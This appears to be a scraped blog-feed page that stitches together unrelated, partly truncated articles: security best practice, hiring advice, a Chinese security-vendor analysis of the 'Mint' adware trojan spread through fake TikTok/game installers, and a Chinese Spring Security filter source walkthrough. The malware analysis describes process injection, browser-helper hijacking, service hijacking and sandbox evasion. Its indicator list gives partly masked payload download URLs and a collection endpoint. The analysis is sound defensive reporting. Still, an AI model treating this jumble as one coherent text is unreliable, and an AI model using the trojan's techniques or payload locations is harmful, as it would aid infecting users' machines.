For particularly sensitive systems, such as customer web portals or core financial applications, it is also important to reduce the surface area across which an attack is possible in order to limit the chance of it taking place. This could be through access restrictions and network segregation , thus reducing the ability to technically access the infrastructure or the application directly.

Effective firewalls play a critical role in preventing unwanted external communications, but traffic from internal network destinations also needs to be restricted to prevent a potential attack via a compromised laptop or device from within the network.

Adopting tactics of this nature provides a proactive defence line that minimises the potential for such threats to be launched into the operating environment.

But keeping out unwanted entities is only half the equation when it comes to preventing any kind of attack. Based on the general consensus that in today’s environment it is not “if” an attack takes place but “when”, it is also critical to ensure that monitoring systems are in place to quickly identify any incidents once they occur.

This could be in the form of a Siem ( security information and event monitoring ) tool that looks for suspicious behaviours in the operational systems. For example, a server might suddenly switch from focusing on internal traffic to communicating with the “outside world”.

Here it is important to take into account the logic behind the rules. The deployed virus or malware might be designed to mimic “usual” behaviours and actions, so a first glance might not detect a significant deviation from normal processing.

However, changes to the pattern of network traffic over time may highlight that something is not quite right. The traffic itself may appear to be legitimate, but if activity is at unusual times of the working day or month that are not easily explained by standard business processes, it needs to be flagged as suspicious.

Further controls could be on regular security updates ( patches ) to ensure that any vulnerabilities that may exist in the wider software environments are applied to an organisation’s own assets, thus reducing both the likelihood and the impact of any incident.

Bad actors are ever more nimble and organisations must be continually vigilant with regard to all potential new threats, so they can do all they can to prevent and detect infections.

New technologies should be embraced as soon as they become available, while technical solutions can be enhanced with activities such as keeping up to date on cyber security information, for example by using the services of specialised professionals, creating internal committee groups and taking part in industry conferences.

Overall, preventing this type of hacking event draws on our consistent message: preventing attacks of any kind is centred around good business practice.

How to hire for potential: Why transferable skills outrank experience

$
0
0

While working for Hershey as a security officer, Kirlin was given the opportunity to help improve security planning. His data-backed solution, a staffing plan that accounted for historically busy periods, caught the eye of Hershey’s VP of global security, Matthew Ryan, who saw Kirlin’s ability to diagnose problems, identify and recommend solutions, and see them through to implementation. After learning of a new HR project, Ryan suggested Kirlin for the job, effectively launching Kirlin’s career in HR operations.

Kirlin’s existing skills , like his affinity for data, his aversion to ambiguity, and his institutional knowledge, transferred well into HR, ultimately leading to his current role as senior manager of HR operations and systems.

Today, jobs and roles change so quickly that career paths, like Kirlin’s, aren’t as clear as they once were. In fact, even after spending more than a decade in the workforce, nearly half (47%) of professionals between the ages of 35 and 44 aren’t sure what their career path should look like.

This career path ambiguity is happening in the midst of an incredibly tight labor market: Job openings have reached a high of 7.1 million, according to the latest from the U.S. Bureau of Labor Statistics . To find the talent to fill open positions, employers might take a page from Hershey’s book and look beyond the resume to focus on a candidate’s skills and willingness to learn.

Skills are transferable

Given that many of today’s fastest-growing job categories didn’t even exist five years ago , it helps to remember that the skills needed for success in a particular role aren’t one-size-fits-all. When hiring managers take a closer look at the underlying skills needed for a role and then look for people with those skills, unique solutions often reveal themselves.

Say you’re looking for someone to take on a machine learning role. Given that machine learning is a fairly new specialty, chances are good that you’re not finding a ton of candidates with those skills. Try expanding your search. If you’re looking at the consulting industry, for instance, our data shows that by adding transferable skills like leadership, business intelligence, and data visualization to your search, you’ll broaden the pool of candidates, and they’ll be more likely to pivot to your company.

Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

$
0
0
0×1 前言

近期,金山毒霸安全实验室通过“捕风”威胁感知系统的数据监控,发现一款名为“西瓜看图”的恶意软件。该软件主要通过“荒野行动电脑版”、“抖音电脑版”等虚假下载器进行传播。该虚假器运行后,实际安装的是“蜻蜓助手”安卓模拟器,并由“蜻蜓助手”推广安装“西瓜看图”木马远控软件。该软件通过云控手段,进行主页劫持、图标推广、软件推广、广告弹窗等恶意行为。由于该木马会在用户磁盘中创建“Mint”的目录,保存云控插件,所以我们特此命名为“Mint”木马。

0×2 传播和推广

Mint木马的传播路径:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

虚假下载器运行界面:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

该虚假下载器无签名,无版本信息,点击“立即安装”会下载运行“蜻蜓助手”,而不是用户预想的“荒野行动网易版”。

“蜻蜓助手”安装完毕后,会默认勾选“西瓜看图”(Mint木马家族的母体),用户如稍有不慎点击“立即启动”就会被植入木马软件。


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
0×3 模块和流程 功能模块

Mint 云控木马主要为6个功能:信息收集,广告弹窗,软件推广,图标推广,主页劫持,更新变异。

其中,广告弹窗,软件推广,图标推广和主页劫持的具体内容,均由云端进行配置,通过下发文件的形式,在本地解析执行;

更新变异,则保证云控载体不断更新和变形,以躲避杀软查杀和更新功能。

功能模块图:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

信息收集,主页劫持,广告等相关URL信息:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
执行流程

Mint木马利用傀儡进程注入、BHO机制(参考 https://en.wikipedia.org/wiki/Browser_Helper_Object )、UPX加壳、数据加密、服务劫持等技术,使整个执行过程具有很高的隐蔽性。

执行流程:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
0×4 影响和分布

通过“捕风”威胁感知系统的监控到,Mint木马家族8月中旬开始爆发;9月中旬活跃达到峰值,感染用户量达5W/天;10月之后活跃降低,近期又逐渐活跃起来。


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

受感染的用户中,占比最多的是1123变种(71.23%),其次是1122变种(17.11%)

(因为变种众多,为了方便起见,我们暂且用文件名后面的版本号表示变种名称。如url包含的文件名XiGuaViewer_1123.exe,表示1123变种)

变种分布图:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
0×5 细节分析 环境检测

Mint母体通过注册表、文件和进程关系,检测是否沙箱/虚拟机/调试/杀软环境,是否浏览器或下载器启动;不是的话才执行恶意代码,否则只调起安装界面。


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

沙箱/虚拟机环境检测:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

调试工具和安全监控软件的检测名单:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
配置下拉

云控载体解密模块配置文件Ver.ini:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

获取到解密后的内容:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

整理出模块配置文件Ver.ini各字段的含义如下:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

接着云控载体进行字段解析并更新插件模块和推广配置文件,将核心模块core.dat解密并注入到傀儡进程中执行:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

核心模块core.dat会解密推广配置文件settings.xml,并执行相应的推广劫持操作:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
更新变异

云控载体从模块配置文件Ver.ini中获取最新载体的下载地址( http://down.om *******.com/Lsvr.dat),保存为PsLangue.dat,然后解密还原成PE文件,复制到系统目录下,随机命名,并通过劫持wuauserv系统服务的方式,实现自更新和启动。


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
主页劫持

(1)首先,Mint母体(“西瓜看图”)下载 http://plg. *******.com/plg.dat,并执行;plg.dat 从资源中释放两个dll(分别是32位和64位),用regsvr32.exe注册dll文件。


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
通过BHO机制劫持IE浏览器主页为 http://uee.me/q8gn (跳转后最终为2345网址导航)。
Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

(2)其次,在core.dat核心功能模块中,通过修改注册表的方式篡改用户主页:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

settings.xml中篡改页的配置信息:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
图标推广
Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

settings.xml中图标推广的配置信息:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
广告弹窗

settings.xml中广告弹窗的配置信息:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
软件推广

settings.xml中软件推广的部分配置信息:


Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络

我们发现,在配置文件中,主页篡改、图标推广、广告弹窗和软件推广,除规避“北上深广”一线城市外,还规避了昆山和马鞍山。

其他

由于Mint木马家族变种繁多,部分云控模块已停用,且由于篇幅和时间所限,这就不多Up嗦啦。

0×6 安全建议

不安装来源不明的可疑软件;

默认勾选框千万千万千万要小心;

安装杀毒防护软件并开启主防功能;

定时查杀和更新系统。

附录IOC 087E97C0A106A4184E61E743664F8764

9FFA36F6B4F2690490851E25390A07B8

0BA931AE318DC6F02D1D660D6A2202AE

7AC1413CC61E997C4FF65E7262D3D173

F9BA5281CF00E096B608C1825C1D60CC

73192ADE5AA1569BE1FD5A9C4758003A

98A9C4A108E10E758861600EB1F6F511

D4667E997D50A4DFECBF2C9E4884E435

9486BBBF6A9DE9CF2BE8C75347AE32F9

35BE3B8495074A4CBAE724572FA90ED4

31C3581C6094E043F4D2492D09997717

1DCBB119B1BA07F7718E9E31D014C817

B493D07BF7857E4851356016DAD13BCA

439EE7F2493D7B453442AC31AA3C5DCD

16181EA5452F547430E1426AE9027D04

http://down.tw******.cn/XiGuaViewer_1121.exe

http://down.vx******.com/XGViewer_1093.exe

http://down.wi******.com/XiGuaViewer_1133.exe

http://mo.******.net/mo/setup.cr173.386472.exe

http://coll.******.com:9804/supp.aspx

http://ver.******.com/Ver.ini

http://cfg.******.com/config.ini

http://down.om******.com/Lcore.dat

http://down.om******.com/Hcore.dat

http://down.om******.com/Lsvr.dat

http://down.om******.com/Hsvr.dat

http://down.um******.com/Discontor32.xml

http://down.um******.com/Discontor64.xml

http://plg.******.com/PopNews.dat

参考链接

BHO: https://en.wikipedia.org/wiki/Browser_Helper_Object

*本文作者:安全豹,转载请注明来自CodeSec.Net


Spring Security系列之核心过滤器源码分析(四)

$
0
0

Spring Security系列之核心过滤器源码分析(四)
文章来源

前面的部分,我们关注了Spring Security是如何完成认证工作的,但是另外一部分核心的内容:过滤器,一直没有提到,我们已经知道Spring Security使用了springSecurityFillterChian作为了安全过滤的入口,这一节主要分析一下这个过滤器链都包含了哪些关键的过滤器,并且各自的使命是什么。

核心过滤器概述

由于过滤器链路中的过滤较多,即使是Spring Security的官方文档中也并未对所有的过滤器进行介绍,在之前, Spring Security系列之入门应用(二) 入门指南中我们配置了一个表单登录的demo,以此为例,来看看这过程中Spring Security都帮我们自动配置了哪些过滤器。

Creating filter chain: o.s.s.web.util.matcher.AnyRequestMatcher@1, [o.s.s.web.context.SecurityContextPersistenceFilter@8851ce1, o.s.s.web.header.HeaderWriterFilter@6a472566, o.s.s.web.csrf.CsrfFilter@61cd1c71, o.s.s.web.authentication.logout.LogoutFilter@5e1d03d7, o.s.s.web.authentication.UsernamePasswordAuthenticationFilter@122d6c22, o.s.s.web.savedrequest.RequestCacheAwareFilter@5ef6fd7f, o.s.s.web.servletapi.SecurityContextHolderAwareRequestFilter@4beaf6bd, o.s.s.web.authentication.AnonymousAuthenticationFilter@6edcad64, o.s.s.web.session.SessionManagementFilter@5e65afb6, o.s.s.web.access.ExceptionTranslationFilter@5b9396d3, o.s.s.web.access.intercept.FilterSecurityInterceptor@3c5dbdf8 ] 复制代码

上述的log信息是我从springboot启动的日志中CV所得,spring security的过滤器日志有一个特点:log打印顺序与实际配置顺序符合,也就意味着 SecurityContextPersistenceFilter是整个过滤器链的第一个过滤器 , 而FilterSecurityInterceptor则是末置的过滤器 。另外通过观察过滤器的名称,和所在的包名,可以大致地分析出他们各自的作用,如 UsernamePasswordAuthenticationFilter 明显便是与使用用户名和密码登录相关的过滤器,而 FilterSecurityInterceptor 我们似乎看不出它的作用,但是其位于 web.access 包下,大致可以分析出他与访问限制相关。第四篇文章主要就是介绍这些常用的过滤器,对其中关键的过滤器进行一些源码分析。先大致介绍下每个过滤器的作用:

SecurityContextPersistenceFilter 两个主要职责:请求来临时,创建SecurityContext安全上下文信息,请求结束时清空SecurityContextHolder。 HeaderWriterFilter (文档中并未介绍,非核心过滤器) 用来给http响应添加一些Header,比如X-Frame-Options, X-XSS-Protection*,X-Content-Type-Options. CsrfFilter 在spring4这个版本中被默认开启的一个过滤器,用于防止csrf攻击,了解前后端分离的人一定不会对这个攻击方式感到陌生,前后端使用json交互需要注意的一个问题。 LogoutFilter 顾名思义,处理注销的过滤器 UsernamePasswordAuthenticationFilter 这个会重点分析,表单提交了username和password,被封装成token进行一系列的认证,便是主要通过这个过滤器完成的,在表单认证的方法中,这是最最关键的过滤器。 RequestCacheAwareFilter (文档中并未介绍,非核心过滤器) 内部维护了一个RequestCache,用于缓存request请求 SecurityContextHolderAwareRequestFilter 此过滤器对ServletRequest进行了一次包装,使得request具有更加丰富的API AnonymousAuthenticationFilter 匿名身份过滤器,这个过滤器个人认为很重要,需要将它与UsernamePasswordAuthenticationFilter 放在一起比较理解,spring security为了兼容未登录的访问,也走了一套认证流程,只不过是一个匿名的身份。 SessionManagementFilter 和session相关的过滤器,内部维护了一个SessionAuthenticationStrategy,两者组合使用,常用来防止session-fixation protection attack,以及限制同一用户开启多个会话的数量 ExceptionTranslationFilter 直译成异常翻译过滤器,还是比较形象的,这个过滤器本身不处理异常,而是将认证过程中出现的异常交给内部维护的一些类去处理,具体是那些类下面详细介绍 FilterSecurityInterceptor 这个过滤器决定了访问特定路径应该具备的权限,访问的用户的角色,权限是什么?访问的路径需要什么样的角色和权限?这些判断和处理都是由该类进行的。

其中加粗的过滤器可以被认为是Spring Security的核心过滤器,将在下面,一个过滤器对应一个小节来讲解。

SecurityContextPersistenceFilter

试想一下,如果我们不使用Spring Security,如果保存用户信息呢,大多数情况下会考虑使用Session对吧?在Spring Security中也是如此,用户在登录过一次之后,后续的访问便是通过sessionId来识别,从而认为用户已经被认证。具体在何处存放用户信息,便是第一篇文章中提到的SecurityContextHolder;认证相关的信息是如何被存放到其中的,便是通过SecurityContextPersistenceFilter。SecurityContextPersistenceFilter的两个主要作用便是请求来临时,创建 SecurityContext 安全上下文信息和请求结束时清空 SecurityContextHolder 。顺带提一下:微服务的一个设计理念需要实现服务通信的无状态,而http协议中的无状态意味着不允许存在session,这可以通过 setAllowSessionCreation(false) 实现,这并不意味着SecurityContextPersistenceFilter变得无用,因为它还需要负责清除用户信息。在Spring Security中,虽然安全上下文信息被存储于Session中,但我们在实际使用中不应该直接操作Session,而应当使用SecurityContextHolder。

源码分析 org.springframework.security.web.context.SecurityContextPersistenceFilter

public class SecurityContextPersistenceFilter extends GenericFilterBean { static final String FILTER_APPLIED = "__spring_security_scpf_applied"; //安全上下文存储的仓库 private SecurityContextRepository repo; public SecurityContextPersistenceFilter() { //HttpSessionSecurityContextRepository是SecurityContextRepository接口的一个实现类 //使用HttpSession来存储SecurityContext this(new HttpSessionSecurityContextRepository()); } public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; if (request.getAttribute(FILTER_APPLIED) != null) { // ensure that filter is only applied once per request chain.doFilter(request, response); return; } request.setAttribute(FILTER_APPLIED, Boolean.TRUE); //包装request,response HttpRequestResponseHolder holder = new HttpRequestResponseHolder(request, response); //从Session中获取安全上下文信息 SecurityContext contextBeforeChainExecution = repo.loadContext(holder); try { //请求开始时,设置安全上下文信息,这样就避免了用户直接从Session中获取安全上下文信息 SecurityContextHolder.setContext(contextBeforeChainExecution); chain.doFilter(holder.getRequest(), holder.getResponse()); } finally { //请求结束后,清空安全上下文信息 SecurityContext contextAfterChainExecution = SecurityContextHolder .getContext(); SecurityContextHolder.clearContext(); repo.saveContext(contextAfterChainExecution, holder.getRequest(), holder.getResponse()); request.removeAttribute(FILTER_APPLIED); if (debug) { logger.debug("SecurityContextHolder now cleared, as request processing completed"); } } } } 复制代码

过滤器一般负责核心的处理流程,而具体的业务实现,通常交给其中聚合的其他实体类,这在Filter的设计中很常见,同时也符合职责分离模式。例如存储安全上下文和读取安全上下文的工作完全委托给了HttpSessionSecurityContextRepository去处理,而这个类中也有几个方法可以稍微解读下,方便我们理解内部的工作流程

org.springframework.security.web.context.HttpSessionSecurityContextRepository

public class HttpSessionSecurityContextRepository implements SecurityContextRepository { // 'SPRING_SECURITY_CONTEXT'是安全上下文默认存储在Session中的键值 public static final String SPRING_SECURITY_CONTEXT_KEY = "SPRING_SECURITY_CONTEXT"; ... private final Object contextObject = SecurityContextHolder.createEmptyContext(); private boolean allowSessionCreation = true; private boolean disableUrlRewriting = false; private String springSecurityContextKey = SPRING_SECURITY_CONTEXT_KEY; private AuthenticationTrustResolver trustResolver = new AuthenticationTrustResolverImpl(); //从当前request中取出安全上下文,如果session为空,则会返回一个新的安全上下文 public SecurityContext loadContext(HttpRequestResponseHolder requestResponseHolder) { HttpServletRequest request = requestResponseHolder.getRequest(); HttpServletResponse response = requestResponseHolder.getResponse(); HttpSession httpSession = request.getSession(false); SecurityContext context = readSecurityContextFromSession(httpSession); if (context == null) { context = generateNewContext(); } ... return context; } ... public boolean containsContext(HttpServletRequest request) { HttpSession session = request.getSession(false); if (session == null) { return false; } return session.getAttribute(springSecurityContextKey) != null; } private SecurityContext readSecurityContextFromSession(HttpSession httpSession) { if (httpSession == null) { return null; } ... // Session存在的情况下,尝试获取其中的SecurityContext Object contextFromSession = httpSession.getAttribute(springSecurityContextKey); if (contextFromSession == null) { return null; } ... return (SecurityContext) contextFromSession; } //初次请求时创建一个新的SecurityContext实例 protected SecurityContext generateNewContext() { return SecurityContextHolder.createEmptyContext(); } } 复制代码

SecurityContextPersistenceFilter和HttpSessionSecurityContextRepository配合使用,构成了Spring Security整个调用链路的入口,为什么将它放在最开始的地方也是显而易见的,后续的过滤器中大概率会依赖Session信息和安全上下文信息。

UsernamePasswordAuthenticationFilter

表单认证是最常用的一个认证方式,一个最直观的业务场景便是允许用户在表单中输入用户名和密码进行登录,而这背后的UsernamePasswordAuthenticationFilter,在整个Spring Security的认证体系中则扮演着至关重要的角色。


Spring Security系列之核心过滤器源码分析(四)

可以看出UsernamePasswordAuthenticationFilter主要肩负起了调用身份认证器,校验身份的作用,至于认证的细节,在前面几章花了很大篇幅进行了介绍,到这里,其实Spring Security的基本流程就已经走通了。

源码分析 org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter#attemptAuthentication

public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException { //获取表单中的用户名和密码 String username = obtainUsername(request); String password = obtainPassword(request); ... username = username.trim(); //组装成username+password形式的token UsernamePasswordAuthenticationToken authRequest = new UsernamePasswordAuthenticationToken( username, password); // Allow subclasses to set the "details" property setDetails(request, authRequest); //交给内部的AuthenticationManager去认证,并返回认证信息 return this.getAuthenticationManager().authenticate(authRequest); } 复制代码

UsernamePasswordAuthenticationFilter本身的代码只包含了上述这么一个方法,非常简略,而在其父类 AbstractAuthenticationProcessingFilter 中包含了大量的细节,值得我们分析:

public abstract class AbstractAuthenticationProcessingFilter extends GenericFilterBean implements ApplicationEventPublisherAware, MessageSourceAware { //包含了一个身份认证器 private AuthenticationManager authenticationManager; //用于实现remeberMe private RememberMeServices rememberMeServices = new NullRememberMeServices(); private RequestMatcher requiresAuthenticationRequestMatcher; //这两个Handler很关键,分别代表了认证成功和失败相应的处理器 private AuthenticationSuccessHandler successHandler = new SavedRequestAwareAuthenticationSuccessHandler(); private AuthenticationFailureHandler failureHandler = new SimpleUrlAuthenticationFailureHandler(); public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; ... Authentication authResult; try { //此处实际上就是调用UsernamePasswordAuthenticationFilter的attemptAuthentication方法 authResult = attemptAuthentication(request, response); if (authResult == null) { //子类未完成认证,立刻返回 return; } sessionStrategy.onAuthentication(authResult, request, response); } //在认证过程中可以直接抛出异常,在过滤器中,就像此处一样,进行捕获 catch (InternalAuthenticationServiceException failed) { //内部服务异常 unsuccessfulAuthentication(request, response, failed); return; } catch (AuthenticationException failed) { //认证失败 unsuccessfulAuthentication(request, response, failed); return; } //认证成功 if (continueChainBeforeSuccessfulAuthentication) { chain.doFilter(request, response); } //注意,认证成功后过滤器把authResult结果也传递给了成功处理器 successfulAuthentication(request, response, chain, authResult); } } 复制代码

整个流程理解起来也并不难,主要就是内部调用了authenticationManager完成认证,根据认证结果执行successfulAuthentication或者unsuccessfulAuthentication,无论成功失败,一般的实现都是转发或者重定向等处理,不再细究AuthenticationSuccessHandler和AuthenticationFailureHandler,有兴趣的朋友,可以去看看两者的实现类。

AnonymousAuthenticationFilter

匿名认证过滤器,可能有人会想:匿名了还有身份?我自己对于Anonymous匿名身份的理解是Spirng Security为了整体逻辑的统一性,即使是未通过认证的用户,也给予了一个匿名身份。而 AnonymousAuthenticationFilter 该过滤器的位置也是非常的科学的,它位于常用的身份认证过滤器(如 UsernamePasswordAuthenticationFilter、BasicAuthenticationFilter、RememberMeAuthenticationFilter )之后,意味着只有在上述身份过滤器执行完毕后,SecurityContext依旧没有用户信息,AnonymousAuthenticationFilter该过滤器才会有意义――基于用户一个匿名身份。

源码分析 org.springframework.security.web.authentication.AnonymousAuthenticationFilter

public class AnonymousAuthenticationFilter extends GenericFilterBean implements InitializingBean { private AuthenticationDetailsSource<HttpServletRequest, ?> authenticationDetailsSource = new WebAuthenticationDetailsSource(); private String key; private Object principal; private List<GrantedAuthority> authorities; //自动创建一个"anonymousUser"的匿名用户,其具有ANONYMOUS角色 public AnonymousAuthenticationFilter(String key) { this(key, "anonymousUser", AuthorityUtils.createAuthorityList("ROLE_ANONYMOUS")); } /** * * @param key key用来识别该过滤器创建的身份 * @param principal principal代表匿名用户的身份 * @param authorities authorities代表匿名用户的权限集合 */ public AnonymousAuthenticationFilter(String key, Object principal, List<GrantedAuthority> authorities) { Assert.hasLength(key, "key cannot be null or empty"); Assert.notNull(principal, "Anonymous authentication principal must be set"); Assert.notNull(authorities, "Anonymous authorities must be set"); this.key = key; this.principal = principal; this.authorities = authorities; } ... public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { //过滤器链都执行到匿名认证过滤器这儿了还没有身份信息,塞一个匿名身份进去 if (SecurityContextHolder.getContext().getAuthentication() == null) { SecurityContextHolder.getContext().setAuthentication( createAuthentication((HttpServletRequest) req)); } chain.doFilter(req, res); } protected Authentication createAuthentication(HttpServletRequest request) { //创建一个AnonymousAuthenticationToken AnonymousAuthenticationToken auth = new AnonymousAuthenticationToken(key, principal, authorities); auth.setDetails(authenticationDetailsSource.buildDetails(request)); return auth; } ... } 复制代码

其实对比AnonymousAuthenticationFilter和UsernamePasswordAuthenticationFilter就可以发现一些门道了,UsernamePasswordAuthenticationToken对应AnonymousAuthenticationToken,他们都是Authentication的实现类,而Authentication则是被SecurityContextHolder(SecurityContext)持有的,一切都被串联在了一起。

ExceptionTranslationFilter

ExceptionTranslationFilter异常转换过滤器位于整个springSecurityFilterChain的后方,用来转换整个链路中出现的异常,将其转化,顾名思义,转化以意味本身并不处理。一般其只处理两大类异常:AccessDeniedException访问异常和AuthenticationException认证异常。

这个过滤器非常重要,因为它将Java中的异常和HTTP的响应连接在了一起,这样在处理异常时,我们不用考虑密码错误该跳到什么页面,账号锁定该如何,只需要关注自己的业务逻辑,抛出相应的异常便可。如果该过滤器检测到 AuthenticationException ,则将会交给内部的 AuthenticationEntryPoint 去处理,如果检测到AccessDeniedException,需要先判断当前用户是不是匿名用户,如果是匿名访问,则和前面一样运行AuthenticationEntryPoint,否则会委托给AccessDeniedHandler去处理,而 AccessDeniedHandler 的默认实现,是 AccessDeniedHandlerImpl 。所以 ExceptionTranslationFilter 内部的 AuthenticationEntryPoint 是至关重要的,顾名思义:认证的入口点。

源码分析

public class ExceptionTranslationFilter extends GenericFilterBean { //处理异常转换的核心方法 private void handleSpringSecurityException(HttpServletRequest request, HttpServletResponse response, FilterChain chain, RuntimeException exception) throws IOException, ServletException { if (exception instanceof AuthenticationException) { //重定向到登录端点 sendStartAuthentication(request, response, chain, (AuthenticationException) exception); } else if (exception instanceof AccessDeniedException) { Authentication authentication = SecurityContextHolder.getContext().getAuthentication(); if (authenticationTrustResolver.isAnonymous(authentication) || authenticationTrustResolver.isRememberMe(authentication)) { //重定向到登录端点 sendStartAuthentication( request, response, chain, new InsufficientAuthenticationException( "Full authentication is required to access this resource")); } else { //交给accessDeniedHandler处理 accessDeniedHandler.handle(request, response, (AccessDeniedException) exception); } } } } 复制代码

剩下的便是要搞懂AuthenticationEntryPoint和AccessDeniedHandler就可以了。

AuthenticationEntryPoint

选择了几个常用的登录端点,以其中第一个为例来介绍,看名字就能猜到是认证失败之后,让用户跳转到登录页面。还记得我们一开始怎么配置表单登录页面的吗?

@Configuration @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers("/", "/home").permitAll() .anyRequest().authenticated() .and() .formLogin()//FormLoginConfigurer .loginPage("/login") .permitAll() .and() .logout() .permitAll(); } } 复制代码

我们顺着formLogin返回的FormLoginConfigurer往下找,看看能发现什么,最终在FormLoginConfigurer的父类AbstractAuthenticationFilterConfigurer中有了不小的收获:

public abstract class AbstractAuthenticationFilterConfigurer extends ...{ ... //formLogin不出所料配置了AuthenticationEntryPoint private LoginUrlAuthenticationEntryPoint authenticationEntryPoint; //认证失败的处理器 private AuthenticationFailureHandler failureHandler; ... } 复制代码

具体如何配置的就不看了,我们得出了结论,formLogin()配置了之后最起码做了两件事,其一,为UsernamePasswordAuthenticationFilter设置了相关的配置,其二配置了AuthenticationEntryPoint。

登录端点还有Http401AuthenticationEntryPoint,Http403ForbiddenEntryPoint这些都是很简单的实现,有时候我们访问受限页面,又没有配置登录,就看到了一个空荡荡的默认错误页面,上面显示着401,403,就是这两个入口起了作用。

AccessDeniedHandler

AccessDeniedHandler访问决策器,简单提一下:AccessDeniedHandlerImpl这个默认实现类会根据errorPage和状态码来判断,最终决定跳转的页面

org.springframework.security.web.access.AccessDeniedHandlerImpl#handle

public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException { if (!response.isCommitted()) { if (errorPage != null) { // Put exception into request scope (perhaps of use to a view) request.setAttribute(WebAttributes.ACCESS_DENIED_403, accessDeniedException); // Set the 403 status code. response.setStatus(HttpServletResponse.SC_FORBIDDEN); // forward to error page. RequestDispatcher dispatcher = request.getRequestDispatcher(errorPage); dispatcher.forward(request, response); } else { response.sendError(HttpServletResponse.SC_FORBIDDEN, accessDeniedException.getMessage()); } } } 复制代码 FilterSecurityInterceptor

想想整个认证安全控制流程还缺了什么?我们已经有了认证,有了请求的封装,有了Session的关联…还缺一个:由什么控制哪些资源是受限的,这些受限的资源需要什么权限,需要什么角色…这一切和访问控制相关的操作,都是由FilterSecurityInterceptor完成的。

FilterSecurityInterceptor的工作流程用笔者的理解可以理解如下: FilterSecurityInterceptor 从 SecurityContextHolder 中获取 Authentication 对象,然后比对用户拥有的权限和资源所需的权限。前者可以通过Authentication对象直接获得,而后者则需要引入我们之前一直未提到过的两个类: SecurityMetadataSource,AccessDecisionManager 。理解清楚决策管理器的整个创建流程和SecurityMetadataSource的作用需要花很大一笔功夫,这里,暂时只介绍其大概的作用。

在JavaConfig的配置中,我们通常如下配置路径的访问控制:

@Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers("/resources/**", "/signup", "/about").permitAll() .antMatchers("/admin/**").hasRole("ADMIN") .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") .anyRequest().authenticated() .withObjectPostProcessor(new ObjectPostProcessor<FilterSecurityInterceptor>() { public <O extends FilterSecurityInterceptor> O postProcess( O fsi) { fsi.setPublishAuthorizationSuccess(true); return fsi; } }); } 复制代码

在ObjectPostProcessor的泛型中看到了FilterSecurityInterceptor,以笔者的经验,目前并没有太多机会需要修改FilterSecurityInterceptor的配置。

总结

本篇文章在介绍过滤器时,顺便进行了一些源码的分析,目的是方便理解整个Spring Security的工作流。伴随着整个过滤器链的介绍,安全框架的轮廓应该已经浮出水面了,下面的章节,主要打算通过自定义一些需求,再次分析其他组件的源码,学习应该如何改造Spring Security,为我们所用。


Spring Security系列之核心过滤器源码分析(四)

3 Ways CISOs Can Break Out of the ‘Security as Necessary Evil’ Mentality

$
0
0

Security Boulevard Exclusive Series: What I Learned About Being a CISO After I Stopped Being a CISO

In this series we’re talking with former CISOs to collect the lessons they’ve learned about the job after they left―either to work as start-up founders, consultants or vendor executives. The goal is to take the wisdom they’ve gained from broader exposure to other security and business leaders and deliver those lessons back to CISOs who are still in the hot seat. We hope the current crop of CISOs can take some insight from their former compatriots and use it to up their game while they’re still on the job. Read more about the serieshere.

Recent Articles By Author

3 Ways CISOs Can Boost Their Credibility Within the Enterprise 2018 Sees API Breaches Surge With No Relief in Sight ‘Tis the Season―for a Phishing Frenzy

Lessons From Erkang Zheng, Head of Product for JupiterOne at Healthcare Tech Company LifeOmic/CISO

When most CISOs are faced with the task of doling out their energy and efforts between organizational culture problems and technological problems, nine times out of 10 they’re going to look to solve those technical problems first.

“It’s easier to focus on the latter,” said Erkang Zheng, a longtime CISO who now devotes most of his time to building security products. But this natural gravitation toward quick technological fixes actually tend to exacerbate long-term culture problems and reduce security program effectiveness. “Companies add tools and complexity to the point where the amount of noise coming through makes it nearly impossible to understand what is going on.”

If CISOs are going to take their security programs to the next level, they’re going to have to devote more time to the cultural blockers and process problems standing in their way, and work to simplify their technology stack rather than piling more on.

